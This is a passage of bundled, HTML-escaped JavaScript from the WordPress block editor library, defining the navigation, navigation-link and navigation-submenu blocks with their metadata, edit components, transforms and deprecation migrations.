        migrateIdToRef,
        migrateWithLayout2,
        migrate_font_family_default,
        migrateTypographyPresets
      )
    },
    {
      attributes: {
        className: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        rgbTextColor: {
          type: &quot;string&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        rgbBackgroundColor: {
          type: &quot;string&quot;
        },
        fontSize: {
          type: &quot;string&quot;
        },
        customFontSize: {
          type: &quot;number&quot;
        },
        itemsJustification: {
          type: &quot;string&quot;
        },
        showSubmenuIcon: {
          type: &quot;boolean&quot;
        }
      },
      isEligible(attribute) {
        return attribute.rgbTextColor || attribute.rgbBackgroundColor;
      },
      supports: {
        align: [&quot;wide&quot;, &quot;full&quot;],
        anchor: true,
        html: false,
        inserter: true
      },
      migrate: (0, import_compose36.compose)(migrateIdToRef, (attributes2) =&gt; {
        const { rgbTextColor, rgbBackgroundColor, ...restAttributes } = attributes2;
        return {
          ...restAttributes,
          customTextColor: attributes2.textColor ? void 0 : attributes2.rgbTextColor,
          customBackgroundColor: attributes2.backgroundColor ? void 0 : attributes2.rgbBackgroundColor
        };
      }),
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
      }
    }
  ];
  var deprecated_default28 = deprecated11;

  // packages/block-library/build-module/navigation/index.mjs
  var { name: name54 } = block_default54;
  var settings54 = {
    icon: navigation_default,
    example: {
      attributes: {
        overlayMenu: &quot;never&quot;
      },
      innerBlocks: [
        {
          name: &quot;core/navigation-link&quot;,
          attributes: {
            // translators: &#039;Home&#039; as in a website&#039;s home page.
            label: (0, import_i18n142.__)(&quot;Home&quot;),
            url: &quot;https://make.wordpress.org/&quot;
          }
        },
        {
          name: &quot;core/navigation-link&quot;,
          attributes: {
            // translators: &#039;About&#039; as in a website&#039;s about page.
            label: (0, import_i18n142.__)(&quot;About&quot;),
            url: &quot;https://make.wordpress.org/&quot;
          }
        },
        {
          name: &quot;core/navigation-link&quot;,
          attributes: {
            // translators: &#039;Contact&#039; as in a website&#039;s contact page.
            label: (0, import_i18n142.__)(&quot;Contact&quot;),
            url: &quot;https://make.wordpress.org/&quot;
          }
        }
      ]
    },
    edit: edit_default20,
    save: save33,
    __experimentalLabel: ({ ref }) =&gt; {
      if (!ref) {
        return;
      }
      const navigation = (0, import_data87.select)(import_core_data50.store).getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_navigation&quot;,
        ref
      );
      if (!navigation?.title) {
        return;
      }
      return (0, import_html_entities7.decodeEntities)(navigation.title);
    },
    deprecated: deprecated_default28
  };
  var init54 = () =&gt; initBlock({ name: name54, metadata: block_default54, settings: settings54 });

  // packages/block-library/build-module/navigation-link/index.mjs
  var navigation_link_exports = {};
  __export(navigation_link_exports, {
    init: () =&gt; init55,
    metadata: () =&gt; block_default55,
    name: () =&gt; name55,
    settings: () =&gt; settings55
  });
  var import_i18n144 = __toESM(require_i18n(), 1);
  var import_block_editor162 = __toESM(require_block_editor(), 1);
  var import_hooks43 = __toESM(require_hooks(), 1);
  var import_blocks65 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/navigation-link/block.json
  var block_default55 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/navigation-link&quot;,
    title: &quot;Custom Link&quot;,
    category: &quot;design&quot;,
    parent: [&quot;core/navigation&quot;],
    allowedBlocks: [
      &quot;core/navigation-link&quot;,
      &quot;core/navigation-submenu&quot;,
      &quot;core/page-list&quot;
    ],
    description: &quot;Add a page, link, or another item to your navigation.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      description: {
        type: &quot;string&quot;
      },
      rel: {
        type: &quot;string&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      opensInNewTab: {
        type: &quot;boolean&quot;,
        default: false
      },
      url: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;
      },
      kind: {
        type: &quot;string&quot;
      },
      isTopLevelLink: {
        type: &quot;boolean&quot;
      }
    },
    usesContext: [
      &quot;textColor&quot;,
      &quot;customTextColor&quot;,
      &quot;backgroundColor&quot;,
      &quot;customBackgroundColor&quot;,
      &quot;overlayTextColor&quot;,
      &quot;customOverlayTextColor&quot;,
      &quot;overlayBackgroundColor&quot;,
      &quot;customOverlayBackgroundColor&quot;,
      &quot;fontSize&quot;,
      &quot;customFontSize&quot;,
      &quot;showSubmenuIcon&quot;,
      &quot;maxNestingLevel&quot;,
      &quot;style&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      __experimentalSlashInserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      renaming: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-navigation-link-editor&quot;,
    style: &quot;wp-block-navigation-link&quot;
  };

  // packages/block-library/build-module/navigation-link/edit.mjs
  var import_blocks63 = __toESM(require_blocks(), 1);
  var import_data88 = __toESM(require_data(), 1);
  var import_components94 = __toESM(require_components(), 1);
  var import_keycodes5 = __toESM(require_keycodes(), 1);
  var import_i18n143 = __toESM(require_i18n(), 1);
  var import_block_editor160 = __toESM(require_block_editor(), 1);
  var import_url15 = __toESM(require_url(), 1);
  var import_element81 = __toESM(require_element(), 1);
  var import_compose37 = __toESM(require_compose(), 1);
  var import_jsx_runtime335 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK6 = { name: &quot;core/navigation-link&quot; };
  var NESTING_BLOCK_NAMES = [
    &quot;core/navigation-link&quot;,
    &quot;core/navigation-submenu&quot;
  ];
  function getMissingText(type) {
    let missingText = &quot;&quot;;
    switch (type) {
      case &quot;post&quot;:
        missingText = (0, import_i18n143.__)(&quot;Select post&quot;);
        break;
      case &quot;page&quot;:
        missingText = (0, import_i18n143.__)(&quot;Select page&quot;);
        break;
      case &quot;category&quot;:
        missingText = (0, import_i18n143.__)(&quot;Select category&quot;);
        break;
      case &quot;tag&quot;:
        missingText = (0, import_i18n143.__)(&quot;Select tag&quot;);
        break;
      default:
        missingText = (0, import_i18n143.__)(&quot;Add link&quot;);
    }
    return missingText;
  }
  function NavigationLinkEdit({
    attributes: attributes2,
    isSelected,
    setAttributes,
    insertBlocksAfter,
    mergeBlocks,
    onReplace,
    context,
    clientId
  }) {
    const { id, label, type, url, description, kind, metadata } = attributes2;
    const { maxNestingLevel } = context;
    const {
      replaceBlock,
      __unstableMarkNextChangeAsNotPersistent,
      selectBlock
    } = (0, import_data88.useDispatch)(import_block_editor160.store);
    const [isLinkOpen, setIsLinkOpen] = (0, import_element81.useState)(isSelected &amp;&amp; !url);
    const [popoverAnchor, setPopoverAnchor] = (0, import_element81.useState)(null);
    const listItemRef = (0, import_element81.useRef)(null);
    const isDraggingWithin = useIsDraggingWithin(listItemRef);
    const itemLabelPlaceholder = (0, import_i18n143.__)(&quot;Add label\u2026&quot;);
    const ref = (0, import_element81.useRef)();
    const linkUIref = (0, import_element81.useRef)();
    const isNewLink = (0, import_element81.useRef)(label === void 0);
    const shouldSelectSubmenuAppenderOnClose = (0, import_element81.useRef)(false);
    const {
      isAtMaxNesting,
      isTopLevelLink,
      isParentOfSelectedBlock,
      hasChildren,
      parentBlockClientId,
      isSubmenu
    } = (0, import_data88.useSelect)(
      (select9) =&gt; {
        const {
          getBlockCount,
          getBlockName,
          getBlockRootClientId,
          hasSelectedInnerBlock,
          getBlockParentsByBlockName
        } = select9(import_block_editor160.store);
        const rootClientId = getBlockRootClientId(clientId);
        const parentBlockName = getBlockName(rootClientId);
        const isTopLevel = parentBlockName === &quot;core/navigation&quot;;
        const rootNavigationClientId = isTopLevel ? rootClientId : getBlockParentsByBlockName(
          clientId,
          &quot;core/navigation&quot;
        )[0];
        const parentBlockId = parentBlockName === &quot;core/navigation-submenu&quot; ? rootClientId : rootNavigationClientId;
        return {
          isAtMaxNesting: getBlockParentsByBlockName(clientId, NESTING_BLOCK_NAMES).length &gt;= maxNestingLevel,
          isTopLevelLink: isTopLevel,
          isParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            true
          ),
          hasChildren: !!getBlockCount(clientId),
          parentBlockClientId: parentBlockId,
          isSubmenu: parentBlockName === &quot;core/navigation-submenu&quot;
        };
      },
      [clientId, maxNestingLevel]
    );
    const validateLinkStatus = useEnableLinkStatusValidation(clientId);
    const { getBlocks } = (0, import_data88.useSelect)(import_block_editor160.store);
    const { hasUrlBinding, isBoundEntityAvailable, entityRecord } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    const handleLinkChange = useHandleLinkChange({
      clientId,
      attributes: attributes2,
      setAttributes,
      allowTextUpdate: true
    });
    const [isInvalid, isDraft] = useIsInvalidLink(
      kind,
      type,
      id,
      validateLinkStatus
    );
    const transformToSubmenu = (0, import_element81.useCallback)(() =&gt; {
      let innerBlocks = getBlocks(clientId);
      if (innerBlocks.length === 0) {
        innerBlocks = [(0, import_blocks63.createBlock)(&quot;core/navigation-link&quot;)];
        selectBlock(innerBlocks[0].clientId);
      }
      const newSubmenu = (0, import_blocks63.createBlock)(
        &quot;core/navigation-submenu&quot;,
        attributes2,
        innerBlocks
      );
      replaceBlock(clientId, newSubmenu);
    }, [getBlocks, clientId, selectBlock, replaceBlock, attributes2]);
    (0, import_element81.useEffect)(() =&gt; {
      if (isNewLink.current &amp;&amp; isSelected) {
        selectBlock(parentBlockClientId);
      }
    }, []);
    (0, import_element81.useEffect)(() =&gt; {
      if (hasChildren) {
        __unstableMarkNextChangeAsNotPersistent();
        transformToSubmenu();
      }
    }, [
      hasChildren,
      __unstableMarkNextChangeAsNotPersistent,
      transformToSubmenu
    ]);
    (0, import_element81.useEffect)(() =&gt; {
      if (!isNewLink.current || !url || !isLinkOpen) {
        return;
      }
      isNewLink.current = false;
      if ((0, import_url15.isURL)((0, import_url15.prependHTTP)(label)) &amp;&amp; /^.+\.[a-z]+/.test(label)) {
        selectLabelText(ref);
      } else {
        selectBlock(clientId, null);
        if (isSubmenu) {
          const parentBlocks = getBlocks(parentBlockClientId);
          if (parentBlocks.length === 1 &amp;&amp; parentBlocks[0].clientId === clientId) {
            shouldSelectSubmenuAppenderOnClose.current = true;
          }
        }
      }
    }, [url, isLinkOpen, isNewLink, label]);
    function removeLink() {
      setAttributes({
        url: void 0,
        label: void 0,
        id: void 0,
        kind: void 0,
        type: void 0,
        opensInNewTab: false
      });
      setIsLinkOpen(false);
    }
    const {
      textColor,
      customTextColor,
      backgroundColor,
      customBackgroundColor
    } = getColors(context, !isTopLevelLink);
    function onKeyDown(event) {
      if (import_keycodes5.isKeyboardEvent.primary(event, &quot;k&quot;)) {
        event.preventDefault();
        event.stopPropagation();
        setIsLinkOpen(true);
      }
    }
    const instanceId = (0, import_compose37.useInstanceId)(NavigationLinkEdit);
    const hasMissingEntity = hasUrlBinding &amp;&amp; !isBoundEntityAvailable;
    const missingEntityDescriptionId = hasMissingEntity ? (0, import_i18n143.sprintf)(&quot;navigation-link-edit-%d-desc&quot;, instanceId) : void 0;
    const blockProps = (0, import_block_editor160.useBlockProps)({
      ref: (0, import_compose37.useMergeRefs)([setPopoverAnchor, listItemRef]),
      className: clsx_default(&quot;wp-block-navigation-item&quot;, {
        &quot;is-editing&quot;: isSelected || isParentOfSelectedBlock,
        &quot;is-dragging-within&quot;: isDraggingWithin,
        &quot;has-link&quot;: !!url,
        &quot;has-child&quot;: hasChildren,
        &quot;has-text-color&quot;: !!textColor || !!customTextColor,
        [(0, import_block_editor160.getColorClassName)(&quot;color&quot;, textColor)]: !!textColor,
        &quot;has-background&quot;: !!backgroundColor || customBackgroundColor,
        [(0, import_block_editor160.getColorClassName)(&quot;background-color&quot;, backgroundColor)]: !!backgroundColor
      }),
      &quot;aria-describedby&quot;: missingEntityDescriptionId,
      &quot;aria-invalid&quot;: hasMissingEntity,
      style: {
        color: !textColor &amp;&amp; customTextColor,
        backgroundColor: !backgroundColor &amp;&amp; customBackgroundColor
      },
      onKeyDown
    });
    const innerBlocksProps = (0, import_block_editor160.useInnerBlocksProps)(
      {
        ...blockProps,
        className: &quot;remove-outline&quot;
        // Remove the outline from the inner blocks container.
      },
      {
        defaultBlock: DEFAULT_BLOCK6,
        directInsert: true,
        renderAppender: false
      }
    );
    const needsValidLink = !url &amp;&amp; !(hasUrlBinding &amp;&amp; isBoundEntityAvailable) || isInvalid || isDraft || hasUrlBinding &amp;&amp; !isBoundEntityAvailable;
    if (needsValidLink) {
      blockProps.onClick = () =&gt; {
        setIsLinkOpen(true);
      };
    }
    const classes = clsx_default(&quot;wp-block-navigation-item__content&quot;, {
      &quot;wp-block-navigation-link__placeholder&quot;: needsValidLink
    });
    const missingText = getMissingText(type);
    const invalidLinkHelpText = getInvalidLinkHelpText();
    return /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_jsx_runtime335.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(import_block_editor160.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_components94.ToolbarGroup, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
          import_components94.ToolbarButton,
          {
            name: &quot;link&quot;,
            icon: link_default,
            title: (0, import_i18n143.__)(&quot;Link&quot;),
            shortcut: import_keycodes5.displayShortcut.primary(&quot;k&quot;),
            onClick: () =&gt; {
              setIsLinkOpen(true);
            }
          }
        ),
        !isAtMaxNesting &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
          import_components94.ToolbarButton,
          {
            name: &quot;submenu&quot;,
            icon: add_submenu_default,
            title: (0, import_i18n143.__)(&quot;Add submenu&quot;),
            onClick: transformToSubmenu
          }
        )
      ] }) }),
      /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(import_block_editor160.InspectorControls, { group: &quot;content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
        Controls2,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        hasMissingEntity &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(import_components94.VisuallyHidden, { id: missingEntityDescriptionId, children: invalidLinkHelpText }),
        /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(&quot;a&quot;, { className: classes, children: [
          !url &amp;&amp; !metadata?.bindings?.url ? /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(&quot;div&quot;, { className: &quot;wp-block-navigation-link__placeholder-text&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(&quot;span&quot;, { children: missingText }) }) : /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_jsx_runtime335.Fragment, { children: [
            !isInvalid &amp;&amp; !isDraft &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_jsx_runtime335.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
                import_block_editor160.RichText,
                {
                  ref,
                  identifier: &quot;label&quot;,
                  className: &quot;wp-block-navigation-item__label&quot;,
                  value: label,
                  onChange: (labelValue) =&gt; setAttributes({
                    label: labelValue
                  }),
                  onMerge: mergeBlocks,
                  onReplace,
                  __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter(
                    (0, import_blocks63.createBlock)(
                      &quot;core/navigation-link&quot;
                    )
                  ),
                  &quot;aria-label&quot;: (0, import_i18n143.__)(
                    &quot;Navigation link text&quot;
                  ),
                  placeholder: itemLabelPlaceholder,
                  withoutInteractiveFormatting: true
                }
              ),
              description &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(&quot;span&quot;, { className: &quot;wp-block-navigation-item__description&quot;, children: description })
            ] }),
            (isInvalid || isDraft) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
              InvalidDraftDisplay,
              {
                label,
                isInvalid,
                isDraft,
                className: &quot;wp-block-navigation-link__label&quot;
              }
            )
          ] }),
          isLinkOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
            LinkUI,
            {
              ref: linkUIref,
              clientId,
              link: attributes2,
              entity: {
                entityRecord,
                hasBinding: hasUrlBinding,
                isEntityAvailable: isBoundEntityAvailable
              },
              onClose: () =&gt; {
                setIsLinkOpen(false);
                if (!url &amp;&amp; !hasUrlBinding) {
                  onReplace([]);
                  return;
                }
                if (shouldSelectSubmenuAppenderOnClose.current) {
                  shouldSelectSubmenuAppenderOnClose.current = false;
                  if (listItemRef.current?.nextElementSibling) {
                    const appenderButton = listItemRef.current.nextElementSibling.querySelector(
                      &quot;.block-editor-button-block-appender&quot;
                    );
                    if (appenderButton) {
                      appenderButton.focus();
                    }
                  }
                }
              },
              anchor: popoverAnchor,
              onRemove: removeLink,
              onChange: handleLinkChange
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(&quot;div&quot;, { ...innerBlocksProps })
      ] })
    ] });
  }

  // packages/block-library/build-module/navigation-link/save.mjs
  var import_block_editor161 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime336 = __toESM(require_jsx_runtime(), 1);
  function save34() {
    return /* @__PURE__ */ (0, import_jsx_runtime336.jsx)(import_block_editor161.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/navigation-link/hooks.mjs
  function getIcon(variationName) {
    switch (variationName) {
      case &quot;post&quot;:
        return post_list_default;
      case &quot;page&quot;:
        return page_default;
      case &quot;tag&quot;:
        return tag_default;
      case &quot;category&quot;:
        return category_default;
      default:
        return custom_post_type_default;
    }
  }
  function enhanceNavigationLinkVariations(settings122, name123) {
    if (name123 !== &quot;core/navigation-link&quot;) {
      return settings122;
    }
    if (settings122.variations) {
      const isActive = (blockAttributes8, variationAttributes) =&gt; {
        return blockAttributes8.type === variationAttributes.type;
      };
      const variations18 = settings122.variations.map((variation) =&gt; {
        return {
          ...variation,
          ...!variation.icon &amp;&amp; {
            icon: getIcon(variation.name)
          },
          ...!variation.isActive &amp;&amp; {
            isActive
          }
        };
      });
      return {
        ...settings122,
        variations: variations18
      };
    }
    return settings122;
  }

  // packages/block-library/build-module/navigation-link/transforms.mjs
  var import_blocks64 = __toESM(require_blocks(), 1);
  var transforms18 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/site-logo&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/spacer&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/home-link&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/social-links&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/search&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/page-list&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/buttons&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/navigation-link&quot;);
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/navigation-submenu&quot;],
        transform: (attributes2, innerBlocks) =&gt; (0, import_blocks64.createBlock)(
          &quot;core/navigation-submenu&quot;,
          attributes2,
          innerBlocks
        )
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/spacer&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/spacer&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/site-logo&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/site-logo&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/home-link&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/home-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/social-links&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/social-links&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/search&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/search&quot;, {
            showLabel: false,
            buttonUseIcon: true,
            buttonPosition: &quot;button-inside&quot;
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/page-list&quot;],
        transform: () =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/page-list&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/buttons&quot;],
        transform: ({ label, url, rel, title, opensInNewTab }) =&gt; {
          return (0, import_blocks64.createBlock)(&quot;core/buttons&quot;, {}, [
            (0, import_blocks64.createBlock)(&quot;core/button&quot;, {
              text: label,
              url,
              rel,
              title,
              linkTarget: opensInNewTab ? &quot;_blank&quot; : void 0
            })
          ]);
        }
      }
    ]
  };
  var transforms_default19 = transforms18;

  // packages/block-library/build-module/navigation-link/index.mjs
  var import_jsx_runtime337 = __toESM(require_jsx_runtime(), 1);
  var { fieldsKey: fieldsKey12, formKey: formKey12 } = unlock(import_blocks65.privateApis);
  var { name: name55 } = block_default55;
  var settings55 = {
    icon: custom_link_default,
    __experimentalLabel(attributes2, { context }) {
      if (context === &quot;list-view&quot;) {
        return attributes2?.label;
      }
      if (context === &quot;appender&quot;) {
        const type = attributes2?.type || &quot;link&quot;;
        return (0, import_i18n144.sprintf)(
          /* translators: %s: block type (e.g., &#039;page&#039;, &#039;post&#039;, &#039;category&#039;) */
          (0, import_i18n144._x)(&quot;Add %s&quot;, &quot;add default block type&quot;),
          type
        );
      }
      return attributes2?.label;
    },
    merge(leftAttributes, { label: rightLabel = &quot;&quot; }) {
      return {
        ...leftAttributes,
        label: leftAttributes.label + rightLabel
      };
    },
    edit: NavigationLinkEdit,
    save: save34,
    example: {
      attributes: {
        label: (0, import_i18n144._x)(&quot;Example Link&quot;, &quot;navigation link preview example&quot;),
        url: &quot;https://example.com&quot;
      }
    },
    deprecated: [
      {
        isEligible(attributes2) {
          return attributes2.nofollow;
        },
        attributes: {
          label: {
            type: &quot;string&quot;
          },
          type: {
            type: &quot;string&quot;
          },
          nofollow: {
            type: &quot;boolean&quot;
          },
          description: {
            type: &quot;string&quot;
          },
          id: {
            type: &quot;number&quot;
          },
          opensInNewTab: {
            type: &quot;boolean&quot;,
            default: false
          },
          url: {
            type: &quot;string&quot;
          }
        },
        migrate({ nofollow, ...rest }) {
          return {
            rel: nofollow ? &quot;nofollow&quot; : &quot;&quot;,
            ...rest
          };
        },
        save() {
          return /* @__PURE__ */ (0, import_jsx_runtime337.jsx)(import_block_editor162.InnerBlocks.Content, {});
        }
      }
    ],
    transforms: transforms_default19
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings55[fieldsKey12] = [
      {
        id: &quot;label&quot;,
        label: (0, import_i18n144.__)(&quot;Label&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
      },
      {
        id: &quot;link&quot;,
        label: (0, import_i18n144.__)(&quot;Link&quot;),
        type: &quot;url&quot;,
        Edit: &quot;link&quot;,
        getValue: ({ item }) =&gt; ({
          url: item.url,
          rel: item.rel
        }),
        setValue: ({ value }) =&gt; ({
          url: value.url,
          rel: value.rel
        })
      }
    ];
    settings55[formKey12] = {
      fields: [&quot;label&quot;, &quot;link&quot;]
    };
  }
  var init55 = () =&gt; {
    (0, import_hooks43.addFilter)(
      &quot;blocks.registerBlockType&quot;,
      &quot;core/navigation-link&quot;,
      enhanceNavigationLinkVariations
    );
    return initBlock({ name: name55, metadata: block_default55, settings: settings55 });
  };

  // packages/block-library/build-module/navigation-submenu/index.mjs
  var navigation_submenu_exports = {};
  __export(navigation_submenu_exports, {
    init: () =&gt; init56,
    metadata: () =&gt; block_default56,
    name: () =&gt; name56,
    settings: () =&gt; settings56
  });
  var import_i18n146 = __toESM(require_i18n(), 1);
  var import_blocks68 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/navigation-submenu/block.json
  var block_default56 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/navigation-submenu&quot;,
    title: &quot;Submenu&quot;,
    category: &quot;design&quot;,
    parent: [&quot;core/navigation&quot;],
    description: &quot;Add a submenu to your navigation.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;
      },
      description: {
        type: &quot;string&quot;
      },
      rel: {
        type: &quot;string&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      opensInNewTab: {
        type: &quot;boolean&quot;,
        default: false
      },
      url: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;
      },
      kind: {
        type: &quot;string&quot;
      },
      isTopLevelItem: {
        type: &quot;boolean&quot;
      }
    },
    usesContext: [
      &quot;textColor&quot;,
      &quot;customTextColor&quot;,
      &quot;backgroundColor&quot;,
      &quot;customBackgroundColor&quot;,
      &quot;overlayTextColor&quot;,
      &quot;customOverlayTextColor&quot;,
      &quot;overlayBackgroundColor&quot;,
      &quot;customOverlayBackgroundColor&quot;,
      &quot;fontSize&quot;,
      &quot;customFontSize&quot;,
      &quot;showSubmenuIcon&quot;,
      &quot;maxNestingLevel&quot;,
      &quot;openSubmenusOnClick&quot;,
      &quot;submenuVisibility&quot;,
      &quot;style&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-navigation-submenu-editor&quot;,
    style: &quot;wp-block-navigation-submenu&quot;
  };

  // packages/block-library/build-module/navigation-submenu/edit.mjs
  var import_data89 = __toESM(require_data(), 1);
  var import_components96 = __toESM(require_components(), 1);
  var import_keycodes6 = __toESM(require_keycodes(), 1);
  var import_i18n145 = __toESM(require_i18n(), 1);
  var import_block_editor163 = __toESM(require_block_editor(), 1);
  var import_url16 = __toESM(require_url(), 1);
  var import_element82 = __toESM(require_element(), 1);
  var import_a11y4 = __toESM(require_a11y(), 1);
  var import_blocks66 = __toESM(require_blocks(), 1);
  var import_compose38 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/navigation-submenu/icons.mjs
  var import_components95 = __toESM(require_components(), 1);
  var import_jsx_runtime338 = __toESM(require_jsx_runtime(), 1);
  var ItemSubmenuIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime338.jsx)(
    import_components95.SVG,
    {
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      width: &quot;12&quot;,
      height: &quot;12&quot;,
      viewBox: &quot;0 0 12 12&quot;,
      fill: &quot;none&quot;,
      children: /* @__PURE__ */ (0, import_jsx_runtime338.jsx)(import_components95.Path, { d: &quot;M1.50002 4L6.00002 8L10.5 4&quot;, strokeWidth: &quot;1.5&quot; })
    }
  );

  // packages/block-library/build-module/navigation-submenu/edit.mjs
  var import_jsx_runtime339 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_BLOCKS = [
    &quot;core/navigation-link&quot;,
    &quot;core/navigation-submenu&quot;,
    &quot;core/page-list&quot;
  ];
  function NavigationSubmenuEdit({
    attributes: attributes2,
    isSelected,
    setAttributes,
    mergeBlocks,
    onReplace,
    context,
    clientId
  }) {
    const { label, url, description, kind, type, id } = attributes2;
    const { showSubmenuIcon, maxNestingLevel, submenuVisibility } = context;
    const blockEditingMode = (0, import_block_editor163.useBlockEditingMode)();
    const openSubmenusOnClick = blockEditingMode !== &quot;default&quot; ? true : submenuVisibility === &quot;click&quot;;
    const { hasUrlBinding, isBoundEntityAvailable, entityRecord } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    const handleLinkChange = useHandleLinkChange({
      clientId,
      attributes: attributes2,
      setAttributes,
      allowTextUpdate: true
    });
    const { __unstableMarkNextChangeAsNotPersistent, replaceBlock } = (0, import_data89.useDispatch)(import_block_editor163.store);
    const [isLinkOpen, setIsLinkOpen] = (0, import_element82.useState)(false);
    const [popoverAnchor, setPopoverAnchor] = (0, import_element82.useState)(null);
    const listItemRef = (0, import_element82.useRef)(null);
    const isDraggingWithin = useIsDraggingWithin(listItemRef);
    const itemLabelPlaceholder = (0, import_i18n145.__)(&quot;Add text\u2026&quot;);
    const ref = (0, import_element82.useRef)();
    const {
      parentCount,
      isParentOfSelectedBlock,
      isImmediateParentOfSelectedBlock,
      hasChildren,
      selectedBlockHasChildren,
      onlyDescendantIsEmptyLink
    } = (0, import_data89.useSelect)(
      (select9) =&gt; {
        const {
          hasSelectedInnerBlock,
